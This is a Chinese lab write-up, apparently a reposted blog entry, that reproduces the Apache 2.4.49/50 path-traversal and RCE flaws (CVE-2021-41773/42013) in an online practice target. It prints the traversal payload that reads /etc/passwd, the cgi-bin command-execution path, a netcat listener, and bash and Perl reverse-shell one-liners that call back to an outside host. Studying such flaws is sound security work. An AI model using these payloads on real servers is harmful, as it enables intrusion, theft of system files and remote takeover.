栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 系统运维 > 运维 > Linux

apache-CVE-2021-41773[42013]-漏洞复现

Linux 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

apache-CVE-2021-41773[42013]-漏洞复现

apache-CVE-2021-41773[42013]

CVE-2021-41773 影响范围为2.4.49
CVE-2021-42013 影响范围为2.4.49/50

漏洞验证

41773和42013在10月份时,被暴出目录穿越和远程命令执行,虽然只影响了apache的49/50版本,但是RCE漏洞,POC已公开,还是有较强的杀伤力。为了快速验证一下该漏洞,使用vulfocus提供的在线的靶场,开启应用,如图

访问应用首页,可得到apche服务器版本信息,如图,

验证目录遍历

利用网上爆出得poc代码尝试获取/etc/passwd中得内容,poc如下,可轻松得到敏感内容

/icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd

验证远程代码执行
/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh

开启burp,构造远程命令执行http请求包,如图执行ls命令

利用反弹shell得模式,准备在反弹一个webshell完全控制该主机,如图,在公网上准备一个机器A,开启监听端口,

nc -lvvp 9999 // 监听9999端口

利用bash反弹shell,

bash -i >& /dev/tcp/ip/port 0>&1
***/dev/[tcp|upd]/host/port是Linux设备里面比较特殊的文件,读取或写入相当于建立socket调用***
***由于其特殊性,命令执行后依旧无法找到/dev/tcp目录更不要说下面的文件了***
***注意,这里"&"在Linux shell中表示后台运行,当然这里0>&1不是这样,对于&1更准确的说应该是文件描述符1,而1一般代表的就是STDOUT_FILENO***
*** 2>&1形式用于重定向,2>表示错误重定向,&1表示标准输出;以ls >/dev/null 2>&1为例,2>&1是将标准出错重定向到标准输出,不过在这里又被重定向到了/dev/null这个无底洞里***

竟然没有反弹成功,难道是我命令写错了吗,一直没有收到反弹过来的请求,。。。。。。,这个地方疑惑了半天,确认命令没有写错,监听机器没有错,
准备换一种反弹shell,不用bash的方式,查看了靶机上没有ping、nc、curl、wget、python等工具,是个最小的docker环境,正常的反弹都用不了啊,一筹莫展时,发现靶机上安装了perl环境,有perl也可以反弹,如下:

perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

啊,竟然也没有成功,虽然已经得到了flag,但为什么不能反弹shell呢?在线靶场有时间限制,准备在本地搭建实验环境验证该漏洞,尝试反弹shell,看看时哪里出错了

转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/724895.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号